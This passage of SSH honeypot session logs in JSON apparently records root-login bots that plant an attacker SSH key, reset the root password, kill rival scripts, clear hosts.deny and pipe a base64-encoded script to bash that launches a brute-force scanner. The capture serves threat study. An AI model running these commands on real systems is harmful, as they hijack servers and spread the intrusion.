node\n^C"},{"seq":24,"at":"2026-08-20T20:23:58.930746+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T20:23:58.931283+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T20:23:59.834566+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T20:23:59.835121+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T20:24:00.729850+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T20:24:00.730680+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T20:24:01.630846+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T20:24:04.102242+00:00","kind":"output","latency_ms":2468,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T20:24:05.030113+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T20:24:06.121920+00:00","kind":"output","latency_ms":1090,"data":"24G"},{"seq":34,"at":"2026-08-20T20:24:09.033850+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123456789123456789\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T20:24:09.931209+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T20:24:10.649361+00:00","kind":"output","latency_ms":716,"data":""},{"seq":37,"at":"2026-08-20T20:24:13.230442+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T20:24:14.976907+00:00","kind":"output","latency_ms":1745,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T20:24:15.837835+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T20:24:16.607852+00:00","kind":"output","latency_ms":768,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T20:24:17.548822+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T20:24:18.430693+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T20:24:22.936644+00:00","kind":"output","latency_ms":4503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T20:24:23.830716+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T20:24:24.433858+00:00","kind":"output","latency_ms":601,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T20:24:25.338955+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T20:24:34.331259+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T20:24:34.331901+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123456789123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"a09265ce-7df6-487c-b00d-1f24a248165f","name":"canny-restless-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"186.248.197.77","src_port":45656,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":412,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:59:14.353436+00:00","ended_at":"2026-08-20T12:59:14.478176+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3733,"events":[{"seq":1,"at":"2026-08-20T12:58:39.119247+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:58:39.532077+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:58:43.545082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:58:44.133062+00:00","kind":"output","latency_ms":587,"data":"1"},{"seq":5,"at":"2026-08-20T12:58:44.544969+00:00","kind":"input","latency_ms":null,"data":"echo \"root:8thtrH5KGcXe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:58:44.958108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:58:45.038331+00:00","kind":"output","latency_ms":492,"data":""},{"seq":8,"at":"2026-08-20T12:58:45.368032+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:58:46.002435+00:00","kind":"output","latency_ms":633,"data":"AMD EPYC 7713 64-Core Processor\n"},{"seq":10,"at":"2026-08-20T12:58:46.412838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:58:47.042495+00:00","kind":"output","latency_ms":628,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:58:47.455535+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:58:48.260736+00:00","kind":"output","latency_ms":804,"data":"-rwxr-xr-x 1 root root 142K Jan 17 2024 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:58:48.674116+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:58:49.651513+00:00","kind":"output","latency_ms":976,"data":"* * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n0 * * * * /opt/stable/bin/gallop-backup.sh >/var/log/gallop-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:58:50.064996+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:58:51.284147+00:00","kind":"output","latency_ms":1216,"data":" 03:09:53 up 9:48, 1 user, load average: 0.08, 0.04, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 03:09 0.00s 0.02s 0.00s w\n"},{"seq":18,"at":"2026-08-20T12:58:51.695265+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:58:51.695701+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:58:52.108567+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:58:52.569320+00:00","kind":"output","latency_ms":460,"data":"64"},{"seq":22,"at":"2026-08-20T12:58:52.982265+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:58:52.982789+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:52 up 9:48, 0 user, load average: 0.18, 0.23, 0.19\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 535 free, 420 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:58:53.395486+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:58:53.395800+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:58:53.809340+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:58:53.809742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:58:54.220885+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:58:54.221593+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:58:54.633702+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:58:56.540033+00:00","kind":"output","latency_ms":1904,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:58:56.951684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:58:57.426619+00:00","kind":"output","latency_ms":473,"data":"24G"},{"seq":34,"at":"2026-08-20T12:58:58.882678+00:00","kind":"input","latency_ms":null,"data":"echo \"root meng123456\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:58:59.293154+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:58:59.702966+00:00","kind":"output","latency_ms":409,"data":""},{"seq":37,"at":"2026-08-20T12:59:00.739638+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:59:01.259426+00:00","kind":"output","latency_ms":522,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:59:01.679638+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:59:02.653206+00:00","kind":"output","latency_ms":972,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:59:03.071054+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:59:03.488357+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:59:04.131524+00:00","kind":"output","latency_ms":643,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:59:04.549073+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:59:05.268591+00:00","kind":"output","latency_ms":718,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:59:05.685671+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:59:06.191707+00:00","kind":"output","latency_ms":505,"data":""},{"seq":48,"at":"2026-08-20T12:59:14.354533+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:59:14.355038+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"meng123456","method":"password","accepted":true,"tier":"other"}]} {"id":"9d97c634-71cf-4395-9707-f7b02c0c87c2","name":"deft-frank-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"139.59.28.125","src_port":34268,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":678,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:57:42.460636+00:00","ended_at":"2026-08-20T12:57:42.669225+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3631,"events":[{"seq":1,"at":"2026-08-20T12:56:59.098069+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:56:59.775443+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:57:05.325871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:57:05.863672+00:00","kind":"output","latency_ms":536,"data":"1"},{"seq":5,"at":"2026-08-20T12:57:06.541229+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Vr6mUc0sST4y\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:57:07.218578+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:57:07.450343+00:00","kind":"output","latency_ms":909,"data":""},{"seq":8,"at":"2026-08-20T12:57:07.895223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:57:08.466969+00:00","kind":"output","latency_ms":572,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:57:09.143085+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:57:09.864544+00:00","kind":"output","latency_ms":720,"data":"956 956 0 0 0 0"},{"seq":12,"at":"2026-08-20T12:57:10.541593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:57:11.362777+00:00","kind":"output","latency_ms":820,"data":"-rwxr-xr-x 1 root root 142K Feb 11 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:57:12.040093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:57:13.013154+00:00","kind":"output","latency_ms":971,"data":"# m h dom mon dow command\n*/5 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh\n*/10 * * * * /opt/stable/bin/hoofcheck.sh\n15 3 * * * /opt/stable/bin/canter-deploy.sh\n"},{"seq":16,"at":"2026-08-20T12:57:13.692359+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:57:14.974077+00:00","kind":"output","latency_ms":1281,"data":" 10:56:42 up 9:47, 1 user, load average: 0.05, 0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 10:55 1.00s 0.03s 0.01s w"},{"seq":18,"at":"2026-08-20T12:57:15.650687+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:57:15.651406+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:57:16.329899+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:57:17.206105+00:00","kind":"output","latency_ms":875,"data":"1"},{"seq":22,"at":"2026-08-20T12:57:17.883293+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:57:17.884021+00:00","kind":"output","latency_ms":null,"data":"top - 12:57:17 up 9:47, 0 user, load average: 0.32, 0.4, 0.37\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 554 free, 401 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:57:18.564099+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:57:18.564711+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:57:19.246371+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:57:19.246839+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:57:19.922468+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:57:19.923672+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:57:20.604146+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:57:21.097071+00:00","kind":"output","latency_ms":496,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:57:21.773534+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:57:22.342037+00:00","kind":"output","latency_ms":567,"data":"24G"},{"seq":34,"at":"2026-08-20T12:57:24.646245+00:00","kind":"input","latency_ms":null,"data":"echo \"root admin1234!@\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:57:25.323145+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:57:25.876444+00:00","kind":"output","latency_ms":553,"data":""},{"seq":37,"at":"2026-08-20T12:57:27.697393+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:57:28.418040+00:00","kind":"output","latency_ms":719,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:57:29.096052+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:57:29.603323+00:00","kind":"output","latency_ms":506,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:57:30.281556+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:57:30.958886+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:57:31.820029+00:00","kind":"output","latency_ms":859,"data":"1"},{"seq":44,"at":"2026-08-20T12:57:32.515145+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:57:33.098590+00:00","kind":"output","latency_ms":587,"data":"1"},{"seq":46,"at":"2026-08-20T12:57:33.776586+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:57:34.403536+00:00","kind":"output","latency_ms":626,"data":""},{"seq":48,"at":"2026-08-20T12:57:42.463099+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:57:42.463666+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"admin1234!@","method":"password","accepted":true,"tier":"other"}]} {"id":"46fb043f-7cad-43ac-afbe-b504a2611f5e","name":"frosty-barren-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"92.47.46.174","src_port":59806,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":687,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:49:42.507032+00:00","ended_at":"2026-08-20T12:49:42.722243+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3732,"events":[{"seq":1,"at":"2026-08-20T12:48:54.656532+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:48:55.341102+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:49:01.252389+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:49:01.903115+00:00","kind":"output","latency_ms":650,"data":"1"},{"seq":5,"at":"2026-08-20T12:49:02.589127+00:00","kind":"input","latency_ms":null,"data":"echo \"root:40oemOI5b3Nd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:49:03.227830+00:00","kind":"output","latency_ms":638,"data":""},{"seq":7,"at":"2026-08-20T12:49:03.274293+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-20T12:49:03.962116+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:49:04.560692+00:00","kind":"output","latency_ms":597,"data":"AMD EPYC 7713 64-Core Processor x1"},{"seq":10,"at":"2026-08-20T12:49:05.459718+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:49:06.027214+00:00","kind":"output","latency_ms":566,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:49:06.715155+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 